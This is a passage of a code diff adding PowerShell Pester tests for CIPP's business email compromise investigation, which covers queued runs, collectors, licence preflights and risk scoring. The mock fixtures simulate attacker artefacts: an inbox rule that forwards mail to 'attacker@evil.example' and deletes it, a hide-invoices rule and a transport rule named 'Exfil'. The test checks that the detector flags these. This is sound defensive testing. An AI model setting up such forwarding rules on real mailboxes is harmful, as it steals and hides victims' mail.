TrustedSendersAndDomains = @('partner@example.org'); BlockedSendersAndDomains = @() } } + 'Get-AcceptedDomain' { [pscustomobject]@{ DomainName = 'contoso.com' }, [pscustomobject]@{ DomainName = 'contoso.onmicrosoft.com' } } + default { @() } + } + } + Mock Search-CIPPBecAuditLog { + if ($Operations -contains 'New-InboxRule') { + [pscustomobject]@{ Complete = $true; Cap = $null; Pages = 1; Records = @([pscustomobject]@{ Identity = 'a1'; Operation = 'New-InboxRule'; AuditData = [pscustomobject]@{ Operation = 'New-InboxRule'; UserId = 'victim@contoso.com'; CreationTime = '2026-08-19T01:00:00Z'; ClientIP = '203.0.113.10'; ObjectId = 'victim@contoso.com\Hide invoices'; Parameters = @([pscustomobject]@{ Name = 'Name'; Value = 'Hide invoices' }, [pscustomobject]@{ Name = 'MoveToFolder'; Value = 'RSS Feeds' }) } }) } + } elseif ($Operations -contains 'Add-MailboxPermission') { + # one grant on the investigated mailbox (the delegation join below picks it up), page cap hit + [pscustomobject]@{ Complete = $false; Cap = '10 pages of 5000 records'; Pages = 10; Records = @([pscustomobject]@{ Identity = 'p1'; Operation = 'Add-MailboxPermission'; AuditData = [pscustomobject]@{ Operation = 'Add-MailboxPermission'; UserKey = 'admin@contoso.com'; CreationTime = '2026-08-19T05:00:00Z'; ClientIP = '203.0.113.10'; ObjectId = 'contoso.onmicrosoft.com/Users/Victim'; Parameters = @([pscustomobject]@{ Name = 'Identity'; Value = 'victim@contoso.com' }, [pscustomobject]@{ Name = 'User'; Value = 'helper@contoso.com' }, [pscustomobject]@{ Name = 'AccessRights'; Value = 'FullAccess' }) } }) } + } else { + [pscustomobject]@{ Complete = $true; Cap = $null; Pages = 1; Records = @() } + } + } + Mock Get-CIPPBecMessageTrace { [pscustomobject]@{ Complete = $true; Cap = $null; Pages = 1; Rows = @([pscustomobject]@{ MessageTraceId = 't1'; Status = 'Delivered'; Subject = 'Hi'; RecipientAddress = 'a@example.org'; Received = '2026-08-19T02:00:00Z'; FromIP = '203.0.113.10' }) } } + Mock New-GraphGetRequest { + if ($uri -like '*subscribedSkus*') { + # Eligible tenant: Entra ID P2 and Defender for Office 365 Plan 2 present, so the + # licence preflight lets Identity Protection and Defender run. + [pscustomobject]@{ servicePlans = @([pscustomobject]@{ servicePlanName = 'AAD_PREMIUM_P2'; provisioningStatus = 'Success' }, [pscustomobject]@{ servicePlanName = 'THREAT_INTELLIGENCE'; provisioningStatus = 'Success' }) } + } elseif ($uri -like '*signIns*') { + [pscustomobject]@{ id = 's1'; createdDateTime = '2026-08-19T03:00:00Z'; resourceDisplayName = 'Office 365 Exchange Online'; clientAppUsed = 'Browser'; conditionalAccessStatus = 'success'; status = [pscustomobject]@{ errorCode = 0 }; ipAddress = '203.0.113.10'; location = [pscustomobject]@{ countryOrRegion = 'NG'; city = 'Lagos' } } + } else { @() } + } + Mock New-GraphBulkRequest { + foreach ($Request in $Requests) { + switch -Wildcard ($Request.id) { + 'Users' { [pscustomobject]@{ id = 'Users'; status = 200; body = [pscustomobject]@{ value = @([pscustomobject]@{ id = 'user-guid'; displayName = 'Victim'; userPrincipalName = 'victim@contoso.com'; createdDateTime = '2025-01-01T00:00:00Z'; lastPasswordChangeDateTime = '2025-01-01T00:00:00Z' }, [pscustomobject]@{ id = '1b4e28ba-2fa1-11d2-883f-0016d3cca427'; displayName = 'Assistant'; userPrincipalName = 'assistant@contoso.com'; createdDateTime = '2025-01-01T00:00:00Z'; lastPasswordChangeDateTime = '2025-01-01T00:00:00Z' }) } } } + # createdDateTime is relative to now: the score's RecentMfaMethods signal only counts a method registered inside the (live-anchored) analysis window, so a fixed date would age out and silently drop 2 points from the expected score. + 'MFADevices' { [pscustomobject]@{ id = 'MFADevices'; status = 200; body = [pscustomobject]@{ value = @([pscustomobject]@{ '@odata.type' = '#microsoft.graph.microsoftAuthenticatorAuthenticationMethod'; id = 'm1'; displayName = 'Pixel'; createdDateTime = (Get-Date).ToUniversalTime().AddDays(-1).ToString('yyyy-MM-ddTHH:mm:ssZ') }) } } } + 'NewSPs' { [pscustomobject]@{ id = 'NewSPs'; status = 200; body = [pscustomobject]@{ value = @() } } } + 'IntuneDevices' { [pscustomobject]@{ id = 'IntuneDevices'; status = 403; body = [pscustomobject]@{ error = [pscustomobject]@{ message = 'No Intune licence' } } } } + 'SuspectUser' { [pscustomobject]@{ id = 'SuspectUser'; status = 200; body = [pscustomobject]@{ id = 'user-guid'; displayName = 'Victim'; userPrincipalName = 'victim@contoso.com'; usageLocation = 'NL'; country = 'Netherlands' } } } + 'MaliciousSPs*' { [pscustomobject]@{ id = $Request.id; status = 200; body = [pscustomobject]@{ value = @() } } } + } + } + } + Mock Get-CIPPBecMailboxInventory { [pscustomobject]@{ MailboxState = (New-CIPPBecCollectorResult -Data ([pscustomobject]@{ HasForwarding = $true; ForwardingSmtpAddress = 'smtp:x@example.org' }) -Count 1); Delegations = (New-CIPPBecCollectorResult -Data @([pscustomobject]@{ PermissionType = 'FullAccess'; Trustee = 'outsider@example.org'; Flagged = $true }, [pscustomobject]@{ PermissionType = 'FullAccess'; Trustee = 'Helper@contoso.com'; Flagged = $false }, [pscustomobject]@{ PermissionType = 'SendOnBehalf'; Trustee = '1b4e28ba-2fa1-11d2-883f-0016d3cca427'; Flagged = $false })); AddIns = (Empty) } } + Mock Get-CIPPBecUserGrants { $R = New-CIPPBecCollectorResult -Data @([pscustomobject]@{ Id = 'g1'; Risk = 'CatalogMatch'; Flagged = $true }); $R | Add-Member -NotePropertyName HuntressFeedAvailable -NotePropertyValue $true -Force; $R } + Mock Get-CIPPBecTransportRules { [pscustomobject]@{ Changes = (New-CIPPBecCollectorResult -Data @([pscustomobject]@{ Operation = 'New-TransportRule'; RuleName = 'Exfil'; ClientIP = '203.0.113.10'; Flagged = $true })); Flagged = (Empty) } } + Mock Get-CIPPBecReceivedMailFindings { [pscustomobject]@{ Findings = (Empty); Defender = (New-CIPPBecCollectorResult -Data @() -Error 'Invalid subscription') } } + Mock Get-CIPPBecDirectoryAudits { Empty } + Mock Get-CIPPBecRegisteredDevices { Empty } + Mock Get-CIPPBecNonInteractiveSignIns { Empty } + Mock Get-CIPPBecMailActivity { $R = Empty; $R | Add-Member -NotePropertyName Summary -NotePropertyValue ([pscustomobject]@{ HardDeleteExceeded = $false }) -Force; $R } + Mock Get-CIPPBecRiskState { New-CIPPBecCollectorResult -Data ([pscustomobject]@{ Listed = $false; Detections = @() }) -Count 0 } + } + + It 'runs every collector (a legacy Scope on the queue item is ignored), flattens their data and scores the signals' { + Push-BECRun -Item ($script:Item + @{ Scope = 'Quick' }) + foreach ($Collector in 'Get-CIPPBecMailboxInventory', 'Get-CIPPBecUserGrants', 'Get-CIPPBecTransportRules', 'Get-CIPPBecReceivedMailFindings', 'Get-CIPPBecDirectoryAudits', 'Get-CIPPBecRegisteredDevices', 'Get-CIPPBecNonInteractiveSignIns', 'Get-CIPPBecMailActivity', 'Get-CIPPBecRiskState') { + Should -Invoke $Collector -Times 1 -Because "$Collector runs on Full scope" + } + Should -Invoke Get-CIPPBecMailboxInventory -Times 1 -ParameterFilter { $AcceptedDomains -contains 'contoso.com' -and $UserPrincipalName -eq 'victim@contoso.com' } + Should -Invoke Get-CIPPBecReceivedMailFindings -Times 1 -ParameterFilter { $IncludeDefender.IsPresent } + Should -Invoke Get-CIPPBecNonInteractiveSignIns -Times 1 -ParameterFilter { $UsageLocation -eq 'NL' } + $R = $script:Saved.Results + $R.Scope | Should -Be 'Full' + $R.MailboxState.HasForwarding | Should -BeTrue + $R.Delegations.Count | Should -Be 3 + $Helper = $R.Delegations | Where-Object { $_.Trustee -eq 'Helper@contoso.com' } + $Helper.GrantedInWindow | Should -BeTrue -Because 'the Add-MailboxPermission for this mailbox is in the window' + $Helper.Flagged | Should -BeTrue -Because 'a grant made in the window is flagged even for an internal trustee' + ($R.Delegations | Where-Object { $_.Trustee -eq 'outsider@example.org' }).GrantedInWindow | Should -BeFalse + $Assistant = $R.Delegations | Where-Object { $_.PermissionType -eq 'SendOnBehalf' } + $Assistant.Trustee | Should -Be 'assistant@contoso.com' -Because 'directory ids resolve to the UPN' + $Assistant.TrusteeId | Should -Be '1b4e28ba-2fa1-11d2-883f-0016d3cca427' + $R.Delegations[0].Flagged | Should -BeTrue -Because 'flagged delegations sort first' + $R.UserGrants[0].Risk | Should -Be 'CatalogMatch' + $R.HuntressFeedAvailable | Should -BeTrue + $R.TransportRuleChanges[0].Country | Should -Be 'NG' -Because 'full-scope client IPs go through the same geo lookup' + $R.TransportRuleChanges[0].ForeignLocation | Should -BeTrue + $R.LocationAnalysis.ForeignTransportRuleChangeCount | Should -Be 1 + $R.AcceptedDomains | Should -Contain 'contoso.com' + $R.Completeness.DefenderDetections.Complete | Should -BeFalse + $R.Completeness.DefenderDetections.Error | Should -Be 'Invalid subscription' + $R.Completeness.Delegations.Complete | Should -BeTrue + $R.Completeness.RiskState.Complete | Should -BeTrue + # Quick score 21 + flagged delegation 2 + catalog grant 5 + risky transport change 4 + $R.Score.Value | Should -Be 32 + } + + It 'resolves a missing UPN from the object id, writes it back, and runs the investigation' { + # A run queued with only the object id (an API/MCP caller, or a page race) must not run the + # mailbox collectors with an empty UPN; the run resolves it from the id first. + Mock New-GraphGetRequest { [pscustomobject]@{ userPrincipalName = 'victim@contoso.com'; displayName = 'Victim' } } -ParameterFilter { $uri -like '*/users/user-guid*' } + Push-BECRun -Item @{ TenantFilter = 'contoso.com'; UserID = 'user-guid'; userName = ''; CaseId = 'BEC-20260820120000-test02' } + Should -Invoke New-GraphGetRequest -Times 1 -ParameterFilter { $uri -like '*/users/user-guid*' } + Should -Invoke Set-CIPPBecReport -Times 1 -ParameterFilter { $Properties.UserPrincipalName -eq 'victim@contoso.com' } + Should -Invoke Get-CIPPBecMailboxInventory -Times 1 -ParameterFilter { $UserPrincipalName -eq 'victim@contoso.com' } + $script:Saved.Properties.Status | Should -Be 'Completed' + } + + It 'fails a blank-UPN run cleanly when the object id cannot be resolved, without running the collectors' { + # the default New-GraphGetRequest mock returns nothing for an unknown users/{id} lookup + Push-BECRun -Item @{ TenantFilter = 'contoso.com'; UserID = 'ghost-guid'; userName = ''; CaseId = 'BEC-20260820120000-test03' } + $script:Saved.Properties.Status | Should -Be 'Error' + $script:Saved.Properties.ErrorMessage | Should -Match 'user principal name' + Should -Invoke Get-CIPPBecMailboxInventory -Times 0 + Should -Invoke Search-CIPPBecAuditLog -Times 0 + } + + It 'degrades a collector that throws to an error marker without failing the run' { + Mock Get-CIPPBecUserGrants { throw 'Graph exploded' } + Push-BECRun -Item ($script:Item + @{ Scope = 'Full' }) + $R = $script:Saved.Results + $script:Saved.Properties.Status | Should -Be 'Completed' + $R.Completeness.UserGrants.Complete | Should -BeFalse + $R.Completeness.UserGrants.Error | Should -Match 'Graph exploded' + $R.UserGrants.Count | Should -Be 0 + Should -Invoke Write-LogMessage -Times 1 -ParameterFilter { $message -like '*collector UserGrants failed*' } + } + + It 'marks the audit-dependent checks incomplete when the unified audit log is disabled' { + Mock New-ExoRequest { + switch ($cmdlet) { + 'Get-AdminAuditLogConfig' { [pscustomobject]@{ UnifiedAuditLogIngestionEnabled = $false } } + 'Get-InboxRule' { @() } + 'Get-MailboxJunkEmailConfiguration' { [pscustomobject]@{ TrustedSendersAndDomains = @(); BlockedSendersAndDomains = @() } } + default { @() } + } + } + Push-BECRun -Item $script:Item + $R = $script:Saved.Results + $R.ExtractResult | Should -Match 'disabled' + $R.Completeness.AuditLog.Complete | Should -BeFalse + $R.Completeness.AuditLog.Error | Should -Match 'disabled' + $R.InboxRuleChanges.Count | Should -Be 0 + Should -Invoke Search-CIPPBecAuditLog -Times 0 + } + + It 'records a failed run instead of leaving it waiting' { + Mock New-GraphBulkRequest { throw 'bulk blew up' } + Push-BECRun -Item $script:Item + $script:Saved.Properties.Status | Should -Be 'Error' + $script:Saved.Properties.ErrorMessage | Should -Match 'bulk blew up' + $script:Saved.Results | Should -BeNullOrEmpty + Should -Invoke Set-CippBecCaseContext -Times 1 -ParameterFilter { [string]::IsNullOrEmpty($CaseId) } + } + + Context 'live progress (the async-deployment job the page polls)' { + It 'creates the job when the queue did not, marks the run Running, walks each of the twelve phases running then done, and ends succeeded' { + Push-BECRun -Item $script:Item + Should -Invoke New-CIPPAsyncDeployment -Times 1 -ParameterFilter { $JobId -eq 'BEC-20260820120000-test01' -and $Names -contains 'victim@contoso.com' -and @($StepTitles).Count -eq 12 -and $Source -eq 'BEC' } + Should -Invoke Set-CIPPBecReport -Times 1 -ParameterFilter { $Properties.Status -eq 'Running' -and $Properties.StartedAt } + @($script:StatusCalls.Status) | Should -Be @('running', 'succeeded') + $script:StatusCalls[-1].Logs | Should -Match 'threat level High' + @(($script:StepCalls | Where-Object { $_.Status -eq 'running' }).Index) | Should -Be @(0..11) -Because 'the phases run in order' + @(($script:StepCalls | Where-Object { $_.Status -eq 'succeeded' }).Index) | Should -Be @(0..11) + ($script:StepCalls | Where-Object { $_.Status -eq 'succeeded' })[-1].Message | Should -Match '^Threat level High' + @($script:StepCalls | Where-Object { $_.Status -eq 'failed' }).Count | Should -Be 0 + $script:StepCalls | ForEach-Object { $_.JobId | Should -Be 'BEC-20260820120000-test01'; $_.Name | Should -Be 'victim@contoso.com' } + } + + It 'marks the phase that was running as failed, and the job failed, when the run throws' { + Mock New-GraphBulkRequest { throw 'bulk blew up' } + Push-BECRun -Item $script:Item + @($script:StatusCalls.Status) | Should -Be @('running', 'failed') + $Failed = @($script:StepCalls | Where-Object { $_.Status -eq 'failed' }) + $Failed.Count | Should -Be 1 + $Failed[0].Index | Should -Be 4 -Because 'the bulk Graph read belongs to the tenant phase' + $Failed[0].Message | Should -Match 'bulk blew up' + } + + It 'recreates the job at start so a Craft retry shows a clean progression instead of the dead attempt''s steps' { + Mock Get-CIPPAsyncDeployment { @([pscustomobject]@{ Name = 'victim@contoso.com'; Status = 'running'; Steps = @([pscustomobject]@{ Title = 'x'; Status = 'succeeded'; Message = 'Done' }); Logs = '' }) } + Push-BECRun -Item $script:Item + Should -Invoke New-CIPPAsyncDeployment -Times 1 -ParameterFilter { $JobId -eq 'BEC-20260820120000-test01' -and @($StepTitles).Count -eq 12 } + @($script:StatusCalls.Status) | Should -Be @('running', 'succeeded') + } + } + + It 'mints a case id when the queue item carries none' { + Push-BECRun -Item @{ TenantFilter = 'contoso.com'; UserID = 'user-guid'; userName = 'victim@contoso.com' } + $script:Saved.CaseId | Should -Match '^BEC-\d{14}-[0-9a-f]{6}$' + } + + It 'does nothing without a tenant or user' { + Push-BECRun -Item @{ TenantFilter = 'contoso.com' } + Should -Invoke Set-CIPPBecReport -Times 0 + } + + It 'preflight skips Identity Protection when the tenant has no Entra ID P2 - without calling it' { + Mock New-GraphGetRequest { [pscustomobject]@{ servicePlans = @([pscustomobject]@{ servicePlanName = 'AAD_PREMIUM'; provisioningStatus = 'Success' }) } } -ParameterFilter { $uri -like '*subscribedSkus*' } + Push-BECRun -Item ($script:Item + @{ Scope = 'Full' }) + Should -Invoke Get-CIPPBecRiskState -Times 0 -Because 'the licence preflight skips it instead of running it to fail' + $R = $script:Saved.Results + $R.Completeness.RiskState.Skipped | Should -BeTrue + $R.Completeness.RiskState.Requirement | Should -Match 'Entra ID P2' + $script:Saved.Properties.Status | Should -Be 'Completed' + } + + It 'preflight skips the mailbox checks when the user has no mailbox - without calling the inventory' { + Mock New-ExoRequest { throw 'Ex41BAF5|Microsoft.Exchange.Configuration.Tasks.ManagementObjectNotFoundException|The specified mailbox doesn''t exist.' } -ParameterFilter { $cmdlet -eq 'Get-Mailbox' } + Push-BECRun -Item ($script:Item + @{ Scope = 'Full' }) + Should -Invoke Get-CIPPBecMailboxInventory -Times 0 -Because 'no mailbox means the inventory cannot apply' + $R = $script:Saved.Results + $R.Completeness.MailboxState.Skipped | Should -BeTrue + $R.Completeness.Delegations.Skipped | Should -BeTrue + $R.Completeness.MailboxState.Requirement | Should -Match 'no Exchange Online mailbox' + } + + It 'flags an inbox rule that forwards externally, deletes, and scopes to no conditions' { + Mock New-ExoRequest { + switch ($cmdlet) { + 'Get-AdminAuditLogConfig' { [pscustomobject]@{ UnifiedAuditLogIngestionEnabled = $true } } + 'Get-InboxRule' { [pscustomobject]@{ Name = 'auto'; Identity = 'r9'; Enabled = $true; ForwardTo = @('attacker@evil.example'); DeleteMessage = $true } } + 'Get-MailboxJunkEmailConfiguration' { [pscustomobject]@{ TrustedSendersAndDomains = @(); BlockedSendersAndDomains = @() } } + 'Get-AcceptedDomain' { [pscustomobject]@{ DomainName = 'contoso.com' } } + default { @() } + } + } + Push-BECRun -Item ($script:Item + @{ Scope = 'Full' }) + $Rule = @($script:Saved.Results.NewRules)[0] + $Rule.Suspicious | Should -BeTrue + $Rule.Risk | Should -Be 'High' + $Rule.RiskReasons | Should -Contain 'Forwards or redirects mail to an external address' + $Rule.RiskReasons | Should -Contain 'Deletes messages' + $Rule.RiskReasons | Should -Contain 'Acts on all incoming mail' + } +} diff --git a/backend/Tests/Endpoint/Invoke-ExecBECBulkCheck.Tests.ps1 b/backend/Tests/Endpoint/Invoke-ExecBECBulkCheck.Tests.ps1 new file mode 100644 index 0000000000..a26eaca6ff --- /dev/null +++ b/backend/Tests/Endpoint/Invoke-ExecBECBulkCheck.Tests.ps1 @@ -0,0 +1,130 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + class HttpResponseContext { [int]$StatusCode; [object]$Body } + $TypeAccelerators = [PowerShell].Assembly.GetType('System.Management.Automation.TypeAccelerators') + if (-not ([System.Management.Automation.PSTypeName]'HttpStatusCode').Type) { + $TypeAccelerators::Add('HttpStatusCode', [System.Net.HttpStatusCode]) + } + function New-GraphGetRequest { param($uri, $tenantid, $AsApp, $noPagination) } + function New-GraphBulkRequest { param($Requests, $tenantid, $asapp) } + function New-CippQueueEntry { param($Name, $Link, $Reference, $TotalTasks) } + function Set-CIPPBecReport { param($TenantFilter, $CaseId, $Properties, $Results, [switch]$Replace) } + function Start-CIPPOrchestrator { param($InputObjectGuid, $InputObject, [switch]$CallerIsQueueTrigger) } + function Write-LogMessage { param($message, $tenant, $API, $tenantId, $headers, $user, $sev, $LogData) } + function Get-CippException { param($Exception) [pscustomobject]@{ NormalizedError = [string]$Exception.Exception.Message } } + function New-CIPPAsyncDeployment { param($JobId, $Names, $StepTitles, $Source) $JobId } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecCaseId.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecRunSteps.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecRunRequest.ps1') + $FunctionPath = Get-ChildItem -Path (Join-Path $RepoRoot 'Modules') -Recurse -Filter 'Invoke-ExecBECBulkCheck.ps1' | Select-Object -First 1 + . $FunctionPath.FullName + + function New-Request { + param($Body) + [pscustomobject]@{ + Params = [pscustomobject]@{ CIPPEndpoint = 'ExecBECBulkCheck' } + Headers = [pscustomobject]@{ 'x-ms-client-principal' = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('{"userDetails":"tech@msp.com"}')) } + Query = $null + Body = $Body + } + } + $script:Users = @{ + 'u1' = [pscustomobject]@{ id = 'u1'; userPrincipalName = 'a@contoso.com'; displayName = 'A' } + 'u2' = [pscustomobject]@{ id = 'u2'; userPrincipalName = 'b@contoso.com'; displayName = 'B' } + 'u3' = [pscustomobject]@{ id = 'u3'; userPrincipalName = 'c@contoso.com'; displayName = 'C' } + } +} + +Describe 'Invoke-ExecBECBulkCheck' { + BeforeEach { + Mock New-GraphBulkRequest { + foreach ($Request in $Requests) { + $Ids = [regex]::Matches($Request.url, "'([^']+)'") | ForEach-Object { $_.Groups[1].Value } + [pscustomobject]@{ id = $Request.id; status = 200; body = [pscustomobject]@{ value = @($Ids | ForEach-Object { $script:Users[$_] } | Where-Object { $_ }) } } + } + } + Mock New-CippQueueEntry { [pscustomobject]@{ RowKey = 'queue-1' } } + $script:Rows = [System.Collections.Generic.List[object]]::new() + Mock Set-CIPPBecReport { $script:Rows.Add(@{ CaseId = $CaseId; Properties = $Properties; Replace = $Replace.IsPresent }) } + $script:Orchestrations = [System.Collections.Generic.List[object]]::new() + Mock Start-CIPPOrchestrator { $script:Orchestrations.Add($InputObject) } + Mock Write-LogMessage { } + } + + It 'queues one run per selected user from the bulk (array) body with the chosen scope' { + $Body = @( + [pscustomobject]@{ UserIds = 'u1'; tenantFilter = 'contoso.com'; Scope = [pscustomobject]@{ label = 'Full'; value = 'Full' } } + [pscustomobject]@{ UserIds = 'u2'; tenantFilter = 'contoso.com'; Scope = [pscustomobject]@{ label = 'Full'; value = 'Full' } } + ) + $Response = Invoke-ExecBECBulkCheck -Request (New-Request $Body) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + $Response.Body.QueueId | Should -Be 'queue-1' + $Response.Body.Cases.Count | Should -Be 2 + $Response.Body.Cases[0].CaseId | Should -Match '^BEC-' + $script:Rows.Count | Should -Be 2 + $script:Rows[0].Replace | Should -BeTrue + $script:Rows[0].Properties.Status | Should -Be 'Waiting' + $script:Rows[0].Properties.Scope | Should -Be 'Full' + $script:Rows[0].Properties.QueueId | Should -Be 'queue-1' + $script:Rows[0].Properties.RequestedBy | Should -Be 'tech@msp.com' + $script:Orchestrations.Count | Should -Be 1 + $Batch = @($script:Orchestrations[0].Batch) + $Batch.Count | Should -Be 2 + $Batch[0].FunctionName | Should -Be 'BECRun' + $Batch[0].Scope | Should -Be 'Full' + $Batch[0].QueueId | Should -Be 'queue-1' + $Batch[0].userName | Should -Be 'a@contoso.com' + $Batch[0].CaseId | Should -Be $script:Rows[0].CaseId + Should -Invoke New-CippQueueEntry -Times 1 -ParameterFilter { $TotalTasks -eq 2 } + } + + It 'accepts a single object with UserIds[] and always queues the full investigation' { + $Response = Invoke-ExecBECBulkCheck -Request (New-Request ([pscustomobject]@{ tenantFilter = 'contoso.com'; UserIds = @('u1', 'u3', 'u1'); Scope = 'Quick' })) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + @($script:Orchestrations[0].Batch).Count | Should -Be 2 -Because 'duplicates are collapsed' + @($script:Orchestrations[0].Batch)[0].Scope | Should -Be 'Full' -Because 'a legacy Scope in the body is ignored' + $Response.Body.Results | Should -Match 'Queued 2 BEC investigation' + } + + It 'reports users it cannot resolve and queues the rest' { + $Response = Invoke-ExecBECBulkCheck -Request (New-Request ([pscustomobject]@{ tenantFilter = 'contoso.com'; UserIds = @('u1', 'ghost') })) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + ($Response.Body.Cases | Where-Object { $_.UserId -eq 'ghost' }).Error | Should -Be 'User not found' + @($script:Orchestrations[0].Batch).Count | Should -Be 1 + } + + It 'does not cap the user count - a list over 50 is accepted and every resolvable user is queued' { + $Response = Invoke-ExecBECBulkCheck -Request (New-Request ([pscustomobject]@{ tenantFilter = 'contoso.com'; UserIds = @(1..51 | ForEach-Object { "u$_" }) })) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + # only u1/u2/u3 resolve in the mock; the other 48 are reported as not found, none refused + @($script:Orchestrations[0].Batch).Count | Should -Be 3 + @($Response.Body.Cases | Where-Object { $_.Error -eq 'User not found' }).Count | Should -Be 48 + } + + It 'refuses an empty selection without queueing anything' { + $None = Invoke-ExecBECBulkCheck -Request (New-Request ([pscustomobject]@{ tenantFilter = 'contoso.com'; UserIds = @() })) -TriggerMetadata $null + $None.StatusCode | Should -Be 500 + $None.Body.Results | Should -Match 'No users' + $script:Orchestrations.Count | Should -Be 0 + $script:Rows.Count | Should -Be 0 + } + + It 'selects users with a successful sign-in from outside their usage location' { + Mock New-GraphGetRequest { + if ($uri -like '*/users?*') { + @([pscustomobject]@{ id = 'u1'; usageLocation = 'NL' }, [pscustomobject]@{ id = 'u2'; usageLocation = 'NL' }, [pscustomobject]@{ id = 'u3'; usageLocation = $null }) + } else { + @( + [pscustomobject]@{ userId = 'u1'; location = [pscustomobject]@{ countryOrRegion = 'NG' } } + [pscustomobject]@{ userId = 'u1'; location = [pscustomobject]@{ countryOrRegion = 'NL' } } + [pscustomobject]@{ userId = 'u2'; location = [pscustomobject]@{ countryOrRegion = 'NL' } } + [pscustomobject]@{ userId = 'u3'; location = [pscustomobject]@{ countryOrRegion = 'US' } } + ) + } + } + $Response = Invoke-ExecBECBulkCheck -Request (New-Request ([pscustomobject]@{ tenantFilter = 'contoso.com'; Selection = 'ForeignSuccessfulSignIns'; Scope = 'Full' })) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + @($script:Orchestrations[0].Batch).UserID | Should -Be @('u1') -Because 'u2 signed in from home and u3 has no usage location to compare against' + Should -Invoke New-GraphGetRequest -Times 1 -ParameterFilter { $uri -like '*signIns*' -and $uri -like '*status/errorCode eq 0*' } + } +} diff --git a/backend/Tests/Endpoint/Invoke-ExecBECCheck.Tests.ps1 b/backend/Tests/Endpoint/Invoke-ExecBECCheck.Tests.ps1 new file mode 100644 index 0000000000..fc17548e43 --- /dev/null +++ b/backend/Tests/Endpoint/Invoke-ExecBECCheck.Tests.ps1 @@ -0,0 +1,196 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + class HttpResponseContext { [int]$StatusCode; [object]$Body } + $TypeAccelerators = [PowerShell].Assembly.GetType('System.Management.Automation.TypeAccelerators') + if (-not ([System.Management.Automation.PSTypeName]'HttpStatusCode').Type) { + $TypeAccelerators::Add('HttpStatusCode', [System.Net.HttpStatusCode]) + } + function Get-CIPPBecReport { param($TenantFilter, $CaseId, $UserId, [switch]$IncludeResults) } + function Set-CIPPBecReport { param($TenantFilter, $CaseId, $Properties, $Results, [switch]$Replace) } + function New-CIPPBecCaseId { 'BEC-20260820120000-new001' } + function Start-CIPPOrchestrator { param($InputObjectGuid, $InputObject, [switch]$CallerIsQueueTrigger) } + function New-CIPPAsyncDeployment { param($JobId, $Names, $StepTitles, $Source) $JobId } + function Get-CIPPAsyncDeployment { param($JobId) } + function Set-CIPPAsyncDeploymentStatus { param($JobId, $Name, $Status, $Logs) } + function Set-CIPPAsyncDeploymentStep { param($JobId, $Name, $StepIndex, $StepStatus, $Message) } + function Write-LogMessage { param($message, $tenant, $API, $tenantId, $headers, $user, $sev, $LogData) } + function Get-CippException { param($Exception) [pscustomobject]@{ NormalizedError = $Exception.Exception.Message } } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecRunSteps.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecRunRequest.ps1') + $FunctionPath = Get-ChildItem -Path (Join-Path $RepoRoot 'Modules') -Recurse -Filter 'Invoke-ExecBECCheck.ps1' | Select-Object -First 1 + . $FunctionPath.FullName + + function New-Request { + param([hashtable]$Query = @{}, $Body = $null) + [pscustomobject]@{ + Params = [pscustomobject]@{ CIPPEndpoint = 'ExecBECCheck' } + Headers = [pscustomobject]@{ 'x-ms-client-principal' = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('{"userDetails":"tech@msp.com"}')) } + Query = [pscustomobject]$Query + Body = $Body + } + } + $script:Completed = [pscustomobject]@{ CaseId = 'BEC-20260810000000-old001'; RowKey = 'BEC-20260810000000-old001'; Status = 'Completed'; Scope = 'Quick'; ExtractedAt = '2026-08-10T00:10:00Z'; RequestedBy = 'tech@msp.com'; Containment = @(); EvidenceSha256 = $null; EvidenceCreatedAt = $null; Results = [pscustomobject]@{ CaseId = 'BEC-20260810000000-old001'; NewRules = @() } } +} + +Describe 'Invoke-ExecBECCheck' { + BeforeEach { + Mock Set-CIPPBecReport { } + Mock Start-CIPPOrchestrator { } + Mock New-CIPPAsyncDeployment { $JobId } + Mock Get-CIPPAsyncDeployment { @() } + Mock Set-CIPPAsyncDeploymentStatus { } + Mock Set-CIPPAsyncDeploymentStep { } + Mock Write-LogMessage { } + } + + Context 'loading the page (GET without a GUID never starts a run)' { + It 'reports that the user has no runs, and queues nothing' { + Mock Get-CIPPBecReport { @() } + $Response = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; userName = 'user@contoso.com' }) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + $Response.Body.GUID | Should -BeNullOrEmpty + $Response.Body.NoRuns | Should -BeTrue + Should -Invoke Start-CIPPOrchestrator -Times 0 + Should -Invoke Set-CIPPBecReport -Times 0 + } + + It 'returns the latest existing run without queueing' { + Mock Get-CIPPBecReport { @($script:Completed) } + $Response = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; userName = 'user@contoso.com' }) -TriggerMetadata $null + $Response.Body.GUID | Should -Be 'BEC-20260810000000-old001' + $Response.Body.Status | Should -Be 'Completed' + Should -Invoke Start-CIPPOrchestrator -Times 0 + Should -Invoke Set-CIPPBecReport -Times 0 + } + + It 'ignores failed runs when looking for the latest, still without queueing' { + Mock Get-CIPPBecReport { @([pscustomobject]@{ CaseId = 'BEC-x'; Status = 'Error' }) } + $Response = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; userName = 'user@contoso.com' }) -TriggerMetadata $null + $Response.Body.NoRuns | Should -BeTrue + Should -Invoke Start-CIPPOrchestrator -Times 0 + } + + It 'fails cleanly without a userid' { + Mock Get-CIPPBecReport { @() } + $Response = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com' }) -TriggerMetadata $null + $Response.StatusCode | Should -Be 500 + 